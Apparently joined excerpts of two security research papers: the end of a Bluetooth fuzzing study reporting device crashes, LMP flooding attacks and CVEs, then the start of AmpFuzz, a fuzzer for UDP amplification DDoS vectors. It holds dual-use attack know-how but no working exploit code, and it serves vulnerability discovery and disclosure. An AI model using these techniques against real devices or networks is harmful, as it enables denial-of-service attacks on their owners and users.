field greater than 17 (V6: LMP Auto Rate Overflow), (ii) start-
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ing procedures out-of-order (V10: Invalid Setup Complete) as
highlighted in Figure 3(b) and finally by (iii) flooding LMP
packets (V5: Feature Response Flooding) at every 1.25ms BT
transmission slot as illustrated in Figure 19(b).

The vulnerabilities can "freeze" Xiaomi MDZ-36-DB and
completely shutdown JBL TUNE 500BT. This requires the
user to manually turn on the unresponsive devices. Since
both devices accept multiple BT connections, an attack can
be triggered while the user is playing some music. As an
exception, XY-WRBT and BT Audio Receiver accept only one
connection, which avoids an attack to be launched during an
active BT connection with the user. Nevertheless, different
products employing the same SoC may enable multiple BT
connections depending on the product requirements.

Master (Attacker) Slave

LMP_features_res

Crash

Duplicated

Paging Procedure

Duplicated
LMP_features_res

Duplicated
LMP_features_res

1.25ms
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LMP_setup_complete
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Crash

Mutated

LMP_max_slot

Re.
ACL Header LMP (Truncated)

OpcodeTIDLength=1FlowLLIDBB

(a) Truncated LMP Accepted

Figure 19: An Illustration of Truncated LMP Accepted and
Feature Repsonse Flooding attacks

8 Fuzzing Other Wireless Protocols

The fuzzing architecture (Figure 4) can be applied to other
wireless protocols beyond BT by altering some of its compo-
nents. To exemplify such extensibility, we modify the com-
ponents Protocol Stack, Mapping Rules and Fuzzing
Interface to support a subset of (i) Wi-Fi Access Point
(AP), and (ii) Bluetooth Low Energy (BLE) Host protocols.

To support the extensions mentioned in the preceding para-
graph, we made the following changes: firstly, the Protocol
Stack component was entirely switched to hostapd to support
(i). In contrast, the Protocol Stack for (ii) reused the stack
employed in our main BT Classic work (i.e., Bluekitchen)
since it supports BLE host protocols. Secondly, the Mapping
Rules (see Section 4.1) were formulated according to the
protocols layer of (i) and (ii), resulting in four and five rules
assigned to extensions (i) and (ii), respectively. Lastly, the
Fuzzing Interface for extension (i) was enabled by im-
plementing Hold/Inject TX block in the Realtek RT8XXAU
Wi-Fi USB driver. Concurrently, adding Hold/Inject TX to ex-
tension (ii) simply required creating an HCI pseudoterminal
between the Bluekitchen stack and the rest of the framework.

The summary of extensions, vulnerabilities, model states/-
transitions and coverage (for 1000 iterations) are depicted in
Table 7. Overall, since the reference model for each extension

Table 7: Summary of unknown flaws found by extension.
#S/#T captures #States/#Transitions in reference models.

Extension Stack #S/#T Target Coverage Vulnerability CVE (New)

BLE
Host Bluekitchen 62/139

ESP32 75.4% Null Dereference CVE-2022-26604
Telink TLSR8258 71.1% Re-Advertisement DoS CVE-2022-26602
NXP KW41Z 81.0% – –
TI CC2540 67.5% – –

Wi-Fi
AP Hostapd 33/100

ESP32 63.5% EAP Heap Overflow CVE-2022-26603
Association Deadlock CVE-2022-26600

ESP8266 70.8% Association Crash CVE-2022-26601
Rasp. Pi 3 B 57.8% Probe Resp. Deadlock CVE-2022-26599
One Plus 5T 84.1% – –

is simpler (has lower number of states and transitions) than
the BT model, the coverage obtained for each tested target
was relatively higher. Notably, our extension allowed us to
find six unknown implementation bugs in popular IoT devices
such as ESP32/8266 and Raspberry Pi 3. This highlights the
feasibility to extend our framework to other wireless proto-
cols. Furthermore, we compared our fuzzing extensions with
model-based fuzzers for BLE [18] and Wi-Fi AP [17]. To
this end, we run our fuzzer and all competitors for the same
amount of time (max. six hours). The competitors did not
discover the implementation bugs reported in Table 7 for the
same targets. This is because the packet generation models
of these competitors have not evolved as compared to a full
stack, therefore missing certain fuzzing scenarios. In contrast,
the state machine in our framework, although incomplete, is
constructed via mapping packets from normal communication.
Thus, potentially such a mapping strategy evolves the state
machine closer to a full stack as compared to a hard-coded
state machine within a generational fuzzer [17, 18].

9 Related Work

Bluetooth vulnerabilities such as Blueborne [43], KNOB [3],
BIAS [2] and BleedingBit [44] may allow unauthorized re-
mote access or launch remote code execution. These works
require extensive manual effort (e.g., reverse engineering and
code inspection). A recent work BLESA [54] discovers a vul-
nerability in BLE specification via formal analysis. In contrast
to these works, our fuzzer finds security issues directly in the
implementation by learning the protocol states automatically.

Classic greybox fuzzing [6, 23, 25, 26, 28, 49] faces signifi-
cant challenges in testing wireless targets: firstly, most grey-
box fuzzers instrument code to optimize code coverage. Such
is not possible for commercial and closed wireless stacks. Sec-
ondly, classic greybox fuzzers aim to generate a single input
leading to crashes. For wireless protocols, often a sequence of
packets with strict timing constraints triggers crashes. Thirdly,
it is beyond the capability of conventional fuzzers to break the
isolation between the host and BT controller (see Section 5)
for effective fuzzing. In summary, extending a classic greybox
fuzzer e.g. AFL [56] for OTA fuzzing is non-trivial and even
a lose adoption will be insufficient to detect non-compliances
(see Table 2). Moreover, due to code instrumentation, this
extension is inappropriate for fuzzing closed protocol stacks.
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Prior works on host-side BT fuzzing [5, 7, 20, 24] are un-
able to fully break the isolation between the host and the BT
controller. We show many link manager vulnerabilities that
these works fail to discover. InternalBlue [29] allows LMP in-
jection, but such only works after the connection is set up [33]
and accessibility to Baseband fields is limited for fuzzing. In
contrast, our fuzzer works during the connection process and
it allows arbitrary packet duplication and manipulation.

Emulation based fuzzing [41, 57, 58] involves extensive
reverse engineering of the firmware (if available at the first
place) to obtain coverage information. For example, Franken-
stein [41] works with specific Cypress/Broadcom hardware
and it requires additional engineering effort to adopt for other
devices. Moreover, Frankenstein did not find vulnerabilities
V3-V6 on CYW20735B1 SoC. Finally, emulation may lead
to inaccurate fuzzing results, as the fuzzing is not run in situ.

A recent work on BLE firmware static analysis [50] does
not focus on packet handling vulnerabilities. OTA fuzzing for
BLE and Wi-Fi [17, 18] involve manual construction of the
respective protocol state machines for packet generation and
handling. Thus, these works are not extensible to complex
protocols e.g., BT. In contrast, apart from enabling a novel BT
fuzzing interface, our approach is generic and extensible for
fuzzing other wireless protocols, as showcased in Section 8.

Works on static analysis and verification [21, 31, 32, 48] do
not generate packets to trigger vulnerabilities in real devices.
Additionally, none of these works targets BT. Works on testing
text structured protocols [4, 19, 36] e.g. ftp, http, are not
directly applicable for wireless fuzzing. Other works targeting
network protocols [8,22,47] either require access to the source
code [47] or lack test generation and fuzzing [8, 22]. Another
approach discovers memory corruptions on IoT devices [9]
via mobile apps. Our fuzzer does not rely on mobile apps as
it targets the data link layer instead of the application layer.

In summary, we develop a generic wireless fuzzing ap-
proach and instantiate the fuzzer for three different protocols.
Additionally, we present the first comprehensive approach to
fully control the BT link manager from the host.

10 Discussion and Conclusion

Limitations: Our OTA fuzzer does not map device specific
states and may also miss fuzzing certain states if such states
are not mapped during reference model generation. Addition-
ally, even though our BT fuzzing approach is generalizable to
fuzz all BT layers, we prioritize malformed packet generations
in LMP that contains many states. As a result, our fuzzer may
repeatedly reconnect with the target when the target becomes
unresponsive, resulting in slow progress reaching higher BT
layers and discover bugs in such layers. In terms of manual
effort, our fuzzing architecture involves the construction of
the mapping rules and the fuzzing interface once per target
protocol. Furthermore, even though our health monitoring

process allows us to validate responses from a comprehensive
set of wireless devices, there might be additional monitoring
methods needed for other devices. Finally, our fuzzer does
not automatically discover the precise attack vector of a vul-
nerability upon triggering a firmware crash or deadlock in the
target. This limitation is widely common to any OTA fuzzer
since it does not have access to the target’s memory content
during the fuzzing session.
Impact: In this paper, we have proposed a general wireless
protocol fuzzing architecture and the instantiation of this ar-
chitecture allows us to fuzz arbitrary devices implementing
any of the three wireless protocols: Bluetooth Classic (BT),
Wi-Fi and BLE Host. This opens up significant opportunities
and flexibilities to test wireless stacks at low cost. Addition-
ally, as evident from the effectiveness of our OTA fuzzer
extension to Wi-Fi and BLE Host, our fuzzing architecture
can be used by the community as a platform to contribute
and extend for other protocols not considered in this paper.
Apart from uncovering 24 unknown bugs that affect several
thousands of wireless devices, our tool has been used by the
community. Notably, Samsung and Mediatek have indepen-
dently used our exploits to discover multiple vulnerabilities
in their SoCs leading to additional CVE assignments [30].
Availability: Our fuzzer and exploits are publicly available:
https://github.com/Matheus-Garbelini/braktooth_esp32_
bluetooth_classic_attacks. Source code is freely available for
academic research upon request to braktooth@gmail.com.
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Appendix

State Mapping Rules
In this section, we provide the mapping rules used within
our fuzzer. Specifically, Figure 20, Figure 21 and Figure 22
capture the state mapping rules for BT, BLE (Host) and Wi-Fi
protocols, respectively.

            "Mapping": [ 
               { 
                    "LayerName": "SDP", 
                    "StateNameField": "btsdp.pdu", 
               }, 
               { 
                    "LayerName": "A2DP", 
                    "StateNameField": "bta2dp.codec", 
               }, 
               { 
                    "LayerName": "AVRCP", 
                    "StateNameField": "btavrcp.notification.event_id", 
               }, 
               { 
                    "LayerName": "RFCOMM", 
                    "StateNameField": "btrfcomm.frame_type", 
               }, 
               { 
                    "LayerName": "L2CAP", 
                    "StateNameField": "btl2cap.cmd_code", 
               }, 
               { 
                    "LayerName": "LMP_accepted", 
                    "StateNameField": "btbrlmp.opinre", 
               }, 
               { 
                    "LayerName": "LMP", 
                    "StateNameField": [ 
                        "btbrlmp.eop", 
                        "btbrlmp.op" 
                    ], 
               }, 
               { 
                    "LayerName": "Baseband", 
                    "StateNameField": "btbbd.type", 
               } 
            ], 

Figure 20: BT State Mapping Rules in JSON format

            "Mapping": [ 
               { 
                   "LayerName": "GATT", 
                   "StateNameField": "btatt.uuid16", 
               }, 
               { 
                   "LayerName": "ATT Error", 
                   "StateNameField": "btatt.error_code", 
               }, 
               { 
                   "LayerName": "ATT", 
                   "StateNameField": "btatt.opcode.method", 
               }, 
               { 
                   "LayerName": "SMP", 
                   "StateNameField": "btsmp.opcode", 
               }, 
               { 
                   "LayerName": "L2CAP", 
                   "StateNameField": "btl2cap.cmd_code", 
               } 
            ], 

Figure 21: BLE (Host) State Mapping Rules in JSON format

            "Mapping":    [ 
               { 
                   "LayerName": "EAP", 
                   "StateNameField": [ 
                        "eap.type", 
                        "eap.code" 
                    ], 
               }, 
               { 
                   "LayerName": "802.1X", 
                   "StateNameField": [ 
                        "eapol.keydes.type", 
                        "eapol.type" 
                    ], 
               }, 
               { 
                   "LayerName": "Action", 
                   "StateNameField": "wlan.fixed.action_code", 
               }, 
               { 
                   "LayerName": "802.11", 
                   "StateNameField": "wlan.fc.type_subtype", 
               } 
            ], 

Figure 22: Wi-Fi State Mapping Rules in JSON format
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Abstract
Amplification DDoS attacks remain a prevalent and severe
threat to the Internet, with recent attacks reaching the Tbps
range. However, all amplification attack vectors known to date
were either found by researchers through laborious manual
analysis or could only be identified postmortem following
large attacks. Ideally, though, an attack vector is discovered
and mitigated before the first attack can occur.

To this end, we present AMPFUZZ, the first systematic ap-
proach to finding amplification vectors in UDP services in
a protocol-agnostic way. AMPFUZZ is based on the state-
of-the-art greybox fuzzing boosted by a novel technique to
make fuzzing UDP-aware, which significantly increases per-
formance. We evaluate AMPFUZZ on 28 Debian network
services, where we (re-)discover 7 known and 6 previously
unreported amplification vulnerabilities.

⊛The author contributed while being employed at CISPA.

1 Introduction

For many years, amplification Distributed Denial-of-Service
(DDoS) attacks [74] constitute the most powerful volumetric
DDoS strategy. These attacks abuse the fact that several UDP-
based network services do not (or cannot, without changing
decades-old protocols) verify client IP addresses. An attacker
can turn such vulnerable services into attack traffic ampli-
fiers by sending them forged requests under their victim’s
identity. Being unable to verify the request origin, these ser-
vices unwittingly flood the victim with their (unsolicited)
answers. Past attacks temporarily disrupted core Internet ser-
vices, such as Paypal, Spotify, Twitter, Reddit, and eBay, with
recent attacks in 2021 peaking at more than 2.4 Tbps attack
bandwidth [22, 26, 45, 60].

Every time an amplification vector is discovered, we ob-
serve record-breaking attacks abusing the new vulnerability.
For example, only shortly after an amplification vector was
found in Memcached (a distributed memory-caching system),

attackers abused its massive potential [23]. Similarly, the dis-
covery of amplification vectors in RIPv1 [4] has quickly led
to a stark increase in amplification abuses of this protocol [17].
Surprisingly, while there are automated approaches to finding
variants of known vulnerabilities and estimating their amplifi-
cation potential [59], we lack any automation in discovering
new amplification vectors. To date, amplification vulnerability
search is a largely manual effort, typically driven by attacker
groups in search for unknown and thus unfiltered amplifica-
tion vectors for which no mitigation strategies exist. Worse,
new vulnerabilities quickly gain wide popularity among fel-
low attackers [62]. Consequently, defenders lag behind and
mostly react. Any future amplification vulnerability will over
and over trigger gigantic DDoS patterns for which network
operators and anti-DDoS services are not well prepared.

There are strong incentives to automate vulnerability
search. First, early discovery allows safeguarding protocols
and their implementations against known amplification vec-
tors as early as possible—ideally before their abuse. There
are several success stories in which implementation changes
or large-scale disclosure operations have massively reduced
the number of vulnerable services [50, 85]. Second, early
knowledge of vulnerabilities allows monitoring active ex-
ploitation in amplification attacks with the help of amplifica-
tion DDoS honeypots [44,82]. Third, anti-DDoS services can
ingest novel attack vectors in automated defense systems that
filter attack traffic before attack abuse. This would be a game-
changer to the reactive, defensive situation and give defenders
sufficient heads-up to create proactive defense strategies.

Unfortunately, although there is rich literature on discov-
ering other types of software vulnerabilities, amplification
represents a bug class on its own. In fact, searching for am-
plification vulnerabilities raises several challenges. First and
foremost, there is a plethora of network protocols and imple-
mentations thereof, for only few of which there exists a formal
specification of protocol states and message formats. In other
words, we deal with unknown protocols for which we cannot
assume a priori knowledge. The UDP stack brings additional
challenges, as one has to decide (i) when a service is in a state

USENIX Association 31st USENIX Security Symposium    1043



in which it can react to requests, and (ii) when a service has
finished processing a request, both of which are not readily
observable to the outside world. Finally, amplification vulner-
abilities have an inherent notion of severity: their utility to an
attacker is quantified by the maximal request-response ratio.
This makes them different from other bug classes. While for
program crashes we are only interested in whether a certain
request type does trigger a crash or not, in the case of amplifi-
cation vulnerabilities we are further interested in maximizing
the amplification per request type.

In this paper, we provide the first principled, protocol-
agnostic approach to revealing new amplification vulnera-
bilities in network services. We propose a greybox fuzzer that
aims to discover network requests that result in significantly
larger responses. We overcome the challenges above by using
a directed fuzzer that prioritizes paths leading to sending func-
tions (e.g., sendto), which we extend with UDP-awareness.
To this end, we combine static analysis with lightweight in-
strumentation to notify the fuzzer when the program expects
input. In many cases, these techniques also enable us to proac-
tively terminate fuzzing executions that generate no output
instead of relying on expensive timeouts. Finally, two simple
yet effective mutation strategies maximize the amplification
factor of potential vulnerabilities.

As another application of AMPFUZZ, we extend its pipeline
to provide the necessary means to monitor amplification abuse
in an automated way through DDoS honeypots. Until now,
amplification DDoS honeypots solely rely on experts who
have to craft protocol-specific replies to attacker probes by
hand. We expand our methodology to synthesize request han-
dler routines for the identified vulnerabilities, which can be
plugged into amplification honeypots. We automate this pro-
cess by leveraging symbolic execution to generate path con-
straints and output expressions for each discovered vulner-
ability. These can then be used to match probing requests
received by the honeypot and to select replies that attackers
find attractive. We can thereby automate the entire process
from scanning a service for amplification vulnerabilities to
creating honeypots that emulate the discovered behavior.

Summarizing, we provide the following contributions:

• We present AMPFUZZ, the first systematic and protocol-
agnostic approach to discover amplification vulnera-
bilities in network services based on directed greybox
fuzzing.

• We introduce the novel concept of UDP-awareness pro-
viding a significant improvement in the fuzzing perfor-
mance of AMPFUZZ.

• We evaluate our open-source1 implementation of AMP-
FUZZ on 28 services from the Debian repositories. AMP-
FUZZ identifies 19 implementations as vulnerable, re-
vealing 6 previously undetected amplification vectors.

1The code of AMPFUZZ, along with all the evaluation artifacts, are pub-
licly available at https://github.com/cispa/ampfuzz

2 Background

We first briefly introduce the general concepts of fuzzing,
amplification DDoS attacks, and amplification vulnerabilities.

2.1 Fuzzing
Fuzzing has become a popular technique to find software
vulnerabilities [57]. Originating from the area of software
testing, the key idea is to run a System under Test (SuT)
under a vast number of random inputs while monitoring it
for abnormal behavior. While commonly used to check for
crashes, fuzzing has also been applied to finding performance
issues [52,69] or unexpectedly large memory allocations [65].

Blackbox fuzzers generate inputs purely at random and are
oblivious to the SuT’s inner workings. This allows them to
test many inputs quickly, but generally fails on programs that
require structured input. Contrarily, whitebox fuzzers [18, 38]
try to gain insights into the SuT via static program analysis.
For instance, this may entail executing the program symboli-
cally to find constraints on the input for the currently taken
path. By partially inverting the constraints, new input that
explore previously untaken paths can then be generated us-
ing a constraint solver. This enables whitebox fuzzing also to
reach “deep” parts of the code that cannot be explored through
blackbox fuzzing. However, the heavy runtime overhead for
symbolic execution, combined with the path explosion prob-
lem and insufficient library support, renders whitebox fuzzing
impractical for many use cases.

Consequently, the most adopted approach is (guided) grey-
box fuzzing [16, 20, 32, 58] aiming at the sweet spot between
the strategies above. Greybox fuzzing augments the scala-
bility of blackbox fuzzing with runtime feedback obtained
through lightweight program instrumentation. This runtime
feedback is then used to guide the input generation, either
towards increasing general code coverage [20,72,87] or reach-
ing specific points in the program [19, 21, 33, 36, 78, 86, 89].

2.2 Amplification Attacks
Amplification attacks [74] are the predominant type of vol-
umetric Distributed Denial-of-Service (DDoS) attacks, with
tens of thousands of amplification attacks per day continu-
ously threatening the availability of essential network ser-
vices [44]. As depicted in Figure 1, in such an attack, to
attack their victims, the attackers abuse amplifiers, i.e., inno-
cent services that suffer from amplification vulnerabilities.
In particular, these amplifiers will send our large responses
without verifying the requests’ source addresses. The attacker
will hence craft requests carrying the victim’s address as the
claimed source address. In turn, the vulnerable services will
send their responses with no ill intent towards the victim, thus
flooding it with unsolicited traffic. By focusing on services
with a substantial response-request ratio, the attack bandwidth
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Figure 1: Amplification attack

arriving at the victim can be orders of magnitude larger than
the bandwidth that has to be invested by the attacker.

2.3 Amplification Vulnerabilities
Barring a few exceptions [15, 51] all known amplification
vulnerabilities are located in UDP-based protocols, including
widely-used ones such as DNS, NTP, or SNMP [74]. Fortu-
nately, once discovered, these vulnerabilities can be mitigated.
For instance, the monlist debugging feature in the Network
Time Protocol (NTP) [5] allowed amplifying traffic by up to
4,670×. After its discovery, Kührer et al. coordinated vul-
nerability disclosure, leading to a reduction of the vulnerable
systems by 92% within just 10 weeks [50]. Similarly, the
amplification potential in DNS was significantly mitigated by
widescale deployment of rate limiting and message trunca-
tion [85], or by disabling non-critical features [8, 24].

However, to date, we lack a systematic way of finding am-
plification vectors. Dissimilar to other security vulnerabilities
like memory corruption errors, they do not cause crashes or
lead to anomalous software behavior. Instead, most amplifi-
cation vectors rely on intended protocol or implementation
features. As such, they resemble an entirely new bug class
that fuzzers and other analysis tools have never been applied
to and which come with unique challenges.

3 Fuzzing for Amplification

In this paper, we thus aim to adopt fuzzing to the domain of
amplification vulnerabilities. Specifically, our goal is to find
reasonably small UDP requests that trigger larger (amplifying)
responses from a given network daemon.

3.1 Amplification Fuzzing Challenges
Several challenges hinder the plug-and-play utilization of
existing fuzzers to discover amplification vulnerabilities. We
will outline these challenges in the following and relate to
how we tackle them in the subsequent sections.

Lack of Protocol Knowledge Network protocol fuzzing
is challenging per se, as each protocol comes with its own

formats, syntax, and features. While past research on network
fuzzing has focused on generative approaches that provide the
fuzzer with a protocol specification from which it attempts to
generate requests, this approach has severe limitations. Firstly,
it requires knowledge and a formal description of the target’s
protocol. More importantly, though, it restricts the fuzzer
to requests closely matching the said protocol. Yet many
of the known amplification vectors rely on either custom,
implementation-specific extensions (e.g., NTP monlist [6])
or exploit the target’s handling of malformed requests (e.g.,
WS-Discovery [73]). To find such cases, we thus do not want
to assume any a priori knowledge of the fuzzing targets.

Lack of UDP State UDP network daemons are further chal-
lenging targets for fuzzing, as it is non-obvious when the dae-
mon under test has finished processing a request. They will
often silently discard invalid requests, providing no feedback
to the fuzzer. And even if the network daemons respond to
the fuzzer, it remains unclear whether further packets will fol-
low. A similar situation occurs during the daemon startup: At
which point is it ready to accept requests from the fuzzer? A
request sent too early will be dropped by the network layer, re-
sulting in an ICMP unreachable packet at best. This problem
is exacerbated by the fact that UDP is a connectionless proto-
col, such that even on the network layer, there is no notion of
a failed or terminated connection. While timeouts can address
both startup and response delays—the de facto workaround
used in the literature, e.g., [30]—this solution is suboptimal,
as the actual processing time depends on both the target and
the current request. Static timeouts will thus unnecessarily
slow down fuzzing for some targets while terminating others
prematurely.

Unexplored Vulnerability Class Lastly, amplification vul-
nerabilities inherently differ from other classical bug classes.
While a request triggering a program crash unequivocally
indicates a bug, not every request leading to a response con-
stitutes an amplification vector. Instead, whether or not a
request can be leveraged for amplification depends on the
request-response size ratio. To accurately identify a target’s
amplification potential, the fuzzer must thus also be able to
explore request variants to maximize this ratio—by either
decreasing the request or increasing the response size.

3.2 Design Overview
We tackle the challenges mentioned above with AMPFUZZ, as
shown in Figure 2. We base AMPFUZZ on the overall fuzzing
pipeline of ParmeSan [89], a directed fuzzing extension of
the mutation-based greybox fuzzer Angora [20], which con-
sists of three main components: a static analyzer, a program
instrumentor, and the actual fuzzer.

In a pre-processing step, the static analyzer extracts a
control-flow graph (CFG) and a list of interesting target lo-
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Figure 2: AmpFuzz outline

cations to guide the fuzzer to. The program instrumentor
generates two instrumented versions of the service under test.
The first one, including only a lightweight coverage collection,
allows the fuzzer to quickly test whether a new input reaches
new and undiscovered parts of the program. The second ver-
sion, yet considerably slower version including a dataflow
analysis framework, can then be run on only those inputs
selectively to provide additional information about which
input bytes are relevant for branching decisions. The fuzzer fi-
nally uses the extracted CFG and the list of target locations to
prioritize fuzzing inputs and the feedback from the dataflow-
instrumented binary to inform its mutation operators.

For AMPFUZZ, we modify and extend all three parts of this
pipeline to address the challenges mentioned above.

3.3 Protocol-Agnostic Fuzzing
To fuzz a service for amplification vulnerabilities without a
specification of its protocol, we build on the directed fuzzing
capabilities of ParmeSan [89] and the dataflow analysis of
Angora [20]. Specifically, we collect all calls to network func-
tions that send out packets as targets during the static analysis
phase. By guiding the fuzzer to these locations, we directly
focus on requests that trigger responses. Moreover, we ex-
tend the dataflow analysis to recognize network functions
that receive packets as taint sources. Together with the byte-
level taint-tracking, the fuzzer can perform targeted mutations
of the inputs, eventually producing requests that are “valid”
enough to generate responses.

3.4 UDP-Aware Fuzzing
To help AMPFUZZ decide when the target is ready to accept
requests and when the processing of a request has concluded,
we add additional lightweight instrumentation to the SuT,
which aims to make these events observable to the fuzzer.
To this end, we classify network functions into three groups,
as shown in Table 1. We define all functions that receive a
packet as sources, all functions that send out a packet as sinks,
and all functions that can block execution while waiting for a
packet as blocking functions.

Table 1: Network function classification
Class Functions

Source recv, recvfrom, recvmsg, recvmmsg
Sink send, sendfrom, sendmsg, sendmmsg
Blocking select, pselect, poll, ppoll,

epoll_wait, epoll_pwait

Beginning of Request Processing We can ascertain that
the SuT is ready to accept requests whenever it attempts to
read or wait for a packet from the network, i.e., whenever a
function from the source or blocking category is called on a
UDP socket bound to the current fuzzing port. Thus, we can
communicate this to the fuzzer (e.g., through a shared mem-
ory semaphore) by hooking all calls to functions from those
categories and inspecting the state of the passed socket. As a
socket’s listening state and port can be obtained at runtime,
no extra socket accounting mechanism is required.

End of Request Processing Unfortunately, determining
when request handling is completed is not as straightfor-
ward as it requires reasoning about the SuT’s future execution
traces. Essentially we need to answer the question "Can this
program still reach a sink without calling a source or block-
ing?". For multithreaded programs, in particular, this is a
non-trivial property.

However, we can build a partial solution by considering
each thread of a program individually: If, after a request has
been received, the current thread is blocked at a source or
blocking function called on the fuzzing socket, then this thread
cannot yield a response to the original request. In those cases,
we can safely terminate the current thread instead. Terminat-
ing only the current thread but not the entire SuT ensures that
request handling in other threads can still proceed. Yet, as
long as all threads eventually exit independently or can be
early terminated, the fuzzer can observe that the entire SuT
process has finished and proceed with the next round.

We can again implement this approach by hooking all calls
to source and blocking functions and inspecting the socket
argument. However, we can also further aid this approach
with a simple static analysis and instrumentation that injects
additional “check-and-terminate” calls into the program. This
is particularly helpful in cases where the SuT still performs
expensive computations or I/O operations before accepting
the subsequent request, like adding lines to a logfile. To find
these “check-and-terminate” edges, we first need to establish
which (strict) basic blocks can reach a sink function before a
source function. We will call those basic blocks sink-capable.
Specifically, sink-capable are basic blocks that

1 call a sink function (e.g., send node in handle),

2 do not call a source function and have at least one sink-
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capable successor (e.g., if node in handle and node
with a call to handle in main).

We can compute the set of sink-capable basic blocks using
a fixed-point iteration pass over the targets’ inter-procedural
CFG. Undecided basic blocks after this fixed-point iteration
are non-sink-capable. They can only remain undecided as part
of a loop without outgoing edges to sink-capable basic blocks.
To ensure that we do not terminate the SuT prematurely in the
presence of dynamic calls or calls to shared libraries, we over-
approximate function calls that cannot be analyzed statically
as sink-capable. We can then add our check-and-terminate
functionality to all edges leading from a sink-capable basic
block to a non-sink-capable basic block.

Figure 3 shows this approach on an example service fol-
lowing a structure commonly observed in network daemons:
After performing some initialization (init), e.g., obtaining
a socket, the main function enters a while-loop that continu-
ously waits for incoming packets (source recv) and invokes
a handler function handle on every request. The handler
handle checks the request (if) and either proceeds with
a reply (sink send) or goes straight to logging the request
(log_request) before returning (return). Following the
rules above, we inject additional check-and-terminate calls
into those edges marked in red (→).

send

sink

init

while

main

if

return

handle

edge with injected check-and-
terminate functionality

Instrumentor

handle

recv

dummy

1

2

2

source

M sink-capable of
type M   {1,2}

log_request

Figure 3: High-level example of our static analysis execution

3.5 Amplification Feedback and Optimization
Our protocol-agnostic and UDP-aware fuzzing measures en-
able AMPFUZZ to search for requests that generate responses
efficiently. To focus on amplification vectors, we must further
enable the fuzzer to maximize the ratio between request and
response sizes. To this end, we build upon the bandwidth
amplification factor (BAF) as defined by Rossow [74]:

BAF =
len(UDP payload amplifier to victim)

len(UDP payload attacker to amplifier)

However, to correctly handle services that reply to zero-length
packets or send multiple packets, we chose to also include

the upper protocol headers up to the Ethernet layer in the
computation. That is, we assume an extra 8 bytes for the
UDP header, 20 bytes for the IP header, and 18 bytes for the
Ethernet header and trailer, as well as a minimum payload
size of 46 bytes for the Ethernet frame, and take the sum of
all response packets:

lenL2(x) = 18+max(46,20+8+ len(x))

BAFL2 =
∑ lenL2(UDP payload fuzz output)

lenL2(UDP payload fuzz input)

In classical mutation-based fuzzing, fuzz inputs are
recorded as new seeds for a subsequent mutation if they in-
crease coverage, i.e., exercise new paths of the program. For
AMPFUZZ, we further record inputs that increase the amplifi-
cation factor, globally or locally for their path. We explicitly
include inputs with a BAFL2 ≤ 1 (i.e., no amplification), since
subsequent mutations might lead to inputs with a BAFL2 > 1
for the same path. By keeping a separate maximum ampli-
fication ratio per path, we can find high-BAF requests for
different vectors of the same target independently.

Amplification Maximization The amplification factor can
be increased in two ways: modifying the request to lead to
larger responses or finding shorter requests that result in the
same response. In AMPFUZZ, we implement both strategies.

First, we leverage Angora’s dataflow analysis to iden-
tify which input bytes influence the length of the response
packets—concretely the length argument of a sending
function—and then prioritize generating new inputs that mu-
tate those bytes in particular.

Second, we add a simple yet effective mutation operator:
Once the fuzzer finds a valid request, we generate further
request candidates by stripping off bytes from the end of the
request one by one. This is helpful as many network protocols
(or their implementations) ignore trailing bytes or implicitly
pad network packets with NUL-bytes.

3.6 Implementation
We implement AMPFUZZ on top of ParmeSan [89] and An-
gora [20]. As we implemented the analyzer and instrumentor
components as LLVM passes, we use wllvm [3] to compile
whole programs to single bitcode files. To enable UDP-aware
fuzzing, we extend ParmeSan’s instrumentor with our static
analysis discussed in Section 3.4.

Furthermore, as AMPFUZZ aims at amplification discovery
in widespread daemon services, we add support for three es-
sential features not handled by ParmeSan. Firstly, we extend
the original dataflow tracking mechanism to shared libraries
and dynamically loaded code (e.g., plugin systems) used by
the daemons extensively. Specifically, we provide a unique
branch-ID seed for every object file during instrumentation
and hook dlsym and dlopen functionalities to load CFGs

USENIX Association 31st USENIX Security Symposium    1047



for libraries dynamically. As a result, AMPFUZZ can track
input dependencies even for branch checks inside libraries,
ultimately discovering amplifications at speed in cases where
the original approach had to resort to randomized input gener-
ation. Secondly, we add handling of fork by always follow-
ing the child. This works for several cases in our evaluation,
supporting our assumption that fork is often used to spawn
request handlers. Lastly, we implement a wrapper library for
inetd services such as in.tftpd, as these expect to find the
UDP socket as their stdin and stdout.

4 Evaluation

We evaluate AMPFUZZ in various settings to show its efficacy
in finding amplification attack vectors in general and the ben-
efits of our approaches to UDP awareness and amplification
maximization. In particular, we seek to answer the following
research questions:

4.1 Research Questions
RQ1 Can AMPFUZZ successfully find amplification attack

vectors with no a priori information about the target
service? To this end, we run AMPFUZZ on a set of
targets, including known-vulnerable services.

RQ2 Does UDP-aware fuzzing help to find vulnerabilities
faster than with the de-facto standard use of static time-
outs? Here we compare the time it takes AMPFUZZ to
find the first amplification vector between a UDP-aware
configuration and multiple static timeout values.

RQ3 Do our approaches to amplification maximization
yield higher amplification factors than purely coverage
guided network fuzzing? For this, we compare the max-
imum BAFL2 achieved by AMPFUZZ with and without
amplification maximization enabled.

4.2 Fuzz Target Selection and On-Boarding
To find suitable targets, namely UDP-based network services,
we leveraged the SELinux reference policy [2]. We search
for programs requesting permission to open and handle UDP
ports (SELinux labels corenet_udp_*), which we then cross-
referenced with the Debian package database [1]. Filtering for
packages that we could successfully rebuild using Clang—a
technical requirement for our LLVM-based instrumentation—
left us with 71 candidate services over 61 packages. From
these, we selected 20 services (18 packages), shown in Ta-
ble 3, Appendix A, including several with previously reported
amplification vulnerabilities (e.g., NTP version, memcached
stats, and (x)inetd CharGen). While we were unable to suc-
cessfully instrument the popular DNS implementations bind
and dnsmasq, we included knotd and stubby instead.

For each target, we manually determined the minimal re-
quired command-line arguments and configuration files. We
verified that they opened a listening UDP socket and can run
inside an unprivileged Docker container. Some programs pro-
vide different services on multiple ports. Our final selection
comprises 28 targets.

4.3 Experimental Setup
We fuzzed each target inside a target-specific docker image
built on top of the official debian:bullseye base image2.
For each run, the fuzzer was provided only the single byte
seed "a". For UDP-aware runs, the fallback timeout was set
to 500ms for both begin and end of request processing. To
reduce noise in the results through randomness [43], fuzzing
campaigns were repeated 5 times per target and setup. We
performed all experiments on a server with 2 Intel® Xeon®
Gold 6230N processors and 512 GB of RAM.

4.4 (RQ1) Efficacy of Fuzzing for Amplifica-
tion Vulnerabilities

To assess the efficacy of finding amplification vectors through
fuzzing, we ran AMPFUZZ on each target for 24 hours. The
results are shown in Table 2. For each target for which at least
one request-response pair could be found, we report maximum
Ethernet bandwidth amplification factor (max(BAFL2)) and
the “naive” UDP payload amplification factor (max(BAFL7))
for comparison, best lists the maximum value over all 5 runs,
